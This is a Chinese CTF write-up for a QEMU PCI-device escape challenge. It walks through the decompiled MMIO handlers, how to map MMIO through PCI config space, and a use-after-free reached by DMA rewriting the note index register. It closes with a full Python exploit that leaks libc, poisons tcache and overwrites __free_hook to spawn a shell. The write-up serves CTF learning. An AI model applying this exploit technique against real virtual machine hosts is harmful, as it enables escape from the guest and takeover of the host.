第五空间云安全 qemu pwn writeup

0x00 分析逻辑

​ 拿到题看到 launch.sh,启动了一个叫 ctf 的 pci 设备。把 qemu 拖到 ida 里面看一看,找 ctf 相关函数找到这么几个,明显就是 ctf 设备相关的几个函数了。

ctf_class_init 函数定义了设备号,厂家号,realize 函数和 uninit 函数。

pci_ctf_realize 函数做了 mmio 和 msi 中断的初始化。

​ 题目的核心逻辑函数是 ctf_mmio_readctf_mmio_write

ctf_mmio_write 逻辑如下,没有完全标识:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Write:
0x8: // resize (if not using)
note_idx = opaque->note_idx;
if ( note_idx <= 0xF )
{
v27 = (char *)opaque + 24 * note_idx;
if ( !*((_QWORD *)v27 + 332) )
*((_QWORD *)v27 + 333) = val & 0xFFFFFF; // if (! using) size = val & 0xffffff
}
return;
0x10: // add
v23 = opaque->note_idx;
if ( v23 <= 0xF )
{
v24 = &opaque->pdev.qdev.parent_obj.class + 3 * v23;
if ( !v24[332] ) // using
{
v25 = (ObjectClass_0 *)malloc((size_t)v24[333]); //size
v24[334] = v25;// n.note = malloc(n.size)
if ( v25 )
{
memset(v25, 0, (size_t)v24[333]);
v24[332] = (ObjectClass_0 *)(&dword_0 + 1);
}
}
}
return;
0x18: // set dma_addr
opaque->dma_addr = val;
return;
0x20: // do_dma_read
v20 = opaque->note_idx;
if ( v20 > 0xF )
return;
v21 = &opaque->pdev.qdev.parent_obj.class + 3 * v20;
if ( v21[332] != 1) ) // if using != 1
return;
// is using
v15 = (hwaddr)v21[333]; // size
v16 = v21[334]; // note
v17 = opaque->dma_mask & opaque->dma_addr;
_mm_mfence();
p_bus_master_as = &opaque->pdev.bus_master_as;
v19 = 0; //read
break;
0x28: // do_dma_write
v13 = opaque->note_idx;
if ( v13 > 0xF )
return;
v14 = &opaque->pdev.qdev.parent_obj.class + 3 * v13;
if ( v14[332] != (ObjectClass_0 *)((char *)&dword_0 + 1) )
return;
v15 = (hwaddr)v14[333];
v16 = v14[334];
v17 = opaque->dma_mask & opaque->dma_addr;
_mm_mfence();
p_bus_master_as = &opaque->pdev.bus_master_as;
v19 = 1; //write
break;
0x30:
v5 = opaque->note_idx;
if ( v5 <= 0xF )
{
v6 = (char *)opaque + 24 * v5;
if ( *((_QWORD *)v6 + 332) == 1LL )
{
v7 = *((_QWORD *)v6 + 333);
v8 = (void *)*((_QWORD *)v6 + 334);
v9 = opaque->dma_mask & opaque->dma_addr;
_mm_mfence();
v10 = (MemTxAttrs_0)1;
address_space_rw(&opaque->pdev.bus_master_as, v9, v10, v8, v7, 1); // vuln
free(*((void **)v6 + 334)); // free note (UAF)
v11 = (char *)opaque + 24 * opaque->note_idx;
if ( *((_QWORD *)v11 + 332) == 1LL ) // is using
{
v12 = *((_QWORD *)v11 + 333) == 0LL;
*((_QWORD *)v11 + 332) = 0LL;
if ( !v12 )
*((_QWORD *)v11 + 333) = 0LL;
}
}
}
return;
0x40: // set index

if (val <= 0xF):

opaque->note_idx = val;

​ 分析一通下来,只凭直觉感觉 0x30 的这个 free 有问题,free 了之后只清了 size 和 inuse,留下了一个野指针,但是在 dma_rw 之前都有对 inuse 的 check。然后这个 v11 = (char *)opaque + 24 * opaque->note_idx;,也很突兀,给人一种条件竞争的感觉,但是看了看 qemu 的启动命令,没有看到多核。

0x01 QTEST

​ 无论如何先启动起来,这个 qemu 直接启动了一个 qtest 程序,qtest 可以读写物理内存以及做 io 操作,但是一次只能发送一条命令,所以条件竞争基本可以排除。

​ 首先要解决的是交互问题,能交互就能动态调试,直觉告诉我只要能动态调起来,这个题的洞就知道是怎么回事(因为静态分析已经基本确定了漏洞的地方,要做的只是看怎么去触发这个漏洞)

​ 然后问题就来了,mmio 映射到了哪块物理内存。。。。

​ 我自己做了一个 linux kernel 镜像,在这个镜像里面 mmio 映射到了 0xfea00000。然后在 qtest 里面试一试。。。发现没用

​ 又想起有 monitor,在 monitor 里面看了看,这 mmio 居然没映射。。。。

​ 看起来题目就是让我们模拟操作系统映射 mmio 的操作,来做一遍 mmio 的映射。这就好办了,Google 大法好。搜了一圈发现只要在 PCI configuration space 里面写上相应的数据就可以了。也就是说要在 BAR0 写上我们 mmio 的地址就好了。按照文档里给的格式,0xcf8 是配置的地址,格式如下面函数所示;向 0xcfc 是这个地址里面的值。

1
2
3
def config_addr(Bus, Dev, Fun, Reg):
address = (1 << 31) | ((Bus & 0xFF) << 16) | ((Dev & 0x1F) << 11) | ((Fun & 0x7) << 8) | (Reg & 0xfffffffc);
return address

​ PCI configuration space 结构如下:

​ 有一点要注意,这个 reg 参数是 0x4 对齐的,也就是一次得改 4 个字节, 32位。所以直接这样写入应该就能设置好映射。

1
2
io_write32(0xcf8, config_addr(0, 2, 0, 0x10))
io_write32(0xcfc, MMIO_BASE)

​ 然而。。。。。。。。。。。。。。。。。。并不行

​ 没什么思路就继续各种 Google。看到了 flynn 的博客 https://blog.csdn.net/weixin_43780260/article/details/104410063。

​ 跟着调试我自己放进去的内核,想看看内核是在什么时候把 ctf 设备的 mmio 地址映射到物理地址 0xfea00000 的。对 ctf 设备的 mmio 地址下个内存断点,看看什么函数改过它。的确跟到了 pci_update_mapping 但是还不是设置成 0xfea00000,和博客中描述的一样。再往后跟,看到修改为 0xfea00000 的调用栈,一层一层地回溯,发现是往某个 io 地址写入了 0x103 之后才调用的 pci_update_mapping 把 mmio 映射到 0xfea00000。

​ 然后发现还是在这篇博客中。。。

​ 所以继续向 command 字段中写入 0x103,果然 mmio 可以正常工作了。然而这个时候比赛也结束了。。。

​ 后来在和 TD 的师傅水群的时候,知道了这个 qtest 是强网杯的原题。当时这是个二连 pwn,我们队只有 afang 把第一问做了,第二问没人看,之后也没复现,血亏。

​ 回到正题,mmio的事情解决了,不过测试发现 dma 没办法正常使用。发现断在调用链 address_space_rw -> address_space_read_full -> flatview_read -> flatview_read_continue 里面判断条件没有过。

这就很麻烦了,分析了一通这个条件,也不知道为什么没过。所以这题就搁置在这了。过了几天之后想先看看强网杯 qtest 的 wp,于是就找到了这个。。。https://matshao.com/2021/06/15/QWB2021-Quals-EzQtest/

​ 直呼我是散兵。把 command 字段从 0x103 改成 0x107,dma 也能正常工作了。

0x02 漏洞

​ 盯了半天那个可能的漏洞点,也没发现有啥利用手段,只是越看越像条件竞争,google 了很长时间,qtest 文档读穿了也没看到一行多命令的支持。然后就去读qemu 的 dma 源码,就在 flatview_read_continue 里,发现这 dma 可以读写 mmio 区域。。。。这就能解释后面这个类似条件竞争的 double fetch 了。

0x03 利用思路

​ 这样思路也就呼之欲出了,在 free 之前可以通过 dma 语句把 mmio_base + 0x40 的 note_idx 改掉,这样就不会把刚刚 free 掉的空间的 size 和 inuse

置 0 了,就产生了一个标准的 UAF,剩下的利用傻子都会了。经过一波简单的堆风水之后,成功打到 free hook 并触发 system(“/bin/sh”)。

0x04 EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
def writeq(addr, val):
n.sendline("writeq " + str(addr) + ' ' + str(val))

def readq(addr):
n.sendline("readq " + str(addr))

def io_write32(addr, val):
n.sendline("outl {} {}".format(str(addr), str(val)))

def io_read32(addr):
n.sendline("inl {}".format(str(addr)))

def config_addr(Bus, Dev, Fun, Reg):
address = (1 << 31) | ((Bus & 0xFF) << 16) | ((Dev & 0x1F) << 11) | ((Fun & 0x7) << 8) | (Reg & 0xfffffffc);
return address


# pause()
# 0x100000
# 0x10000000
MMIO_BASE = 0xfea00000
DATA_BASE = 0x100000
n.recvuntil(b"OPENED\n")
io_write32(0xcf8, config_addr(0, 2, 0, 0x10))
io_write32(0xcfc, MMIO_BASE)
io_write32(0xcf8, config_addr(0, 2, 0, 0x4))
io_write32(0xcfc, 0x107)

def add(index, size):
writeq(MMIO_BASE+0x40, index)
writeq(MMIO_BASE+0x8, size)
writeq(MMIO_BASE+0x10, 0)

def dma_read(index, addr):
writeq(MMIO_BASE+0x40, index)
writeq(MMIO_BASE+0x18, addr)
writeq(MMIO_BASE+0x20, 0)

def dma_write(index, addr):
writeq(MMIO_BASE+0x40, index)
writeq(MMIO_BASE+0x18, addr)
writeq(MMIO_BASE+0x28, 0)

def free(index, addr):
writeq(MMIO_BASE+0x40, index)
writeq(MMIO_BASE+0x18, addr)
writeq(MMIO_BASE+0x30, 0)

def place_bytes(addr, content:bytes):
content += b'\x00'
length = len(content) // 8
if len(content) % 8:
length += 1
for i in range(length):
b = content[8*i:8*i+8]
writeq(addr + 8*i, int.from_bytes(b, 'little'))


### Alloc a non-tcache chunk and trigger uaf
add(0, 0x800)
writeq(DATA_BASE, 0x1)
dma_read(0, DATA_BASE)
free(0, MMIO_BASE + 0x40)
# readq(MMIO_BASE + 0x40)

### Leak libc
dma_write(0, DATA_BASE + 0x200)
readq(DATA_BASE + 0x200)

n.recvuntil(b'OK 0x')
libc_addr = int(n.recvline(), 16)
libc_base = libc_addr - 0x1ebbe0

print("LibcAddr: ", hex(libc_base))

### Put a uaf chunk to tcache, so we can control the tcache list
### But we should add more chunks to bypass tcache chunk cnt check
add(2, 0x8)
add(3, 0x8)
add(4, 0x8)
add(5, 0x8)
writeq(DATA_BASE, 0x1)
dma_read(2, DATA_BASE)
dma_read(3, DATA_BASE)
dma_read(4, DATA_BASE)
dma_read(5, DATA_BASE)
free(2, MMIO_BASE+0x40)

free(3, MMIO_BASE + 0x40)
free(4, MMIO_BASE + 0x40)
free(5, MMIO_BASE + 0x40)


### modify free hook to system & write string "/bin/sh" to any chunk
system_addr = libc_base + 0x55410
free_hook_addr = libc_base + 0x1eeb28
writeq(DATA_BASE+0x200, free_hook_addr)
dma_read(3, DATA_BASE+0x200)

add(6, 0x8)
add(7, 0x8)
add(8, 0x8)
add(9, 0x8)

writeq(DATA_BASE+0xa00, system_addr)
place_bytes(DATA_BASE+0xb00, b'/bin/sh')

dma_read(9, DATA_BASE+0xa00)
dma_read(8, DATA_BASE+0xb00)

### Trigger free hook, system("/bin/sh")
free(8, DATA_BASE+0xa00)


### The exp could cause core dump; I have no idea about it; Just run several times ~
n.interactive()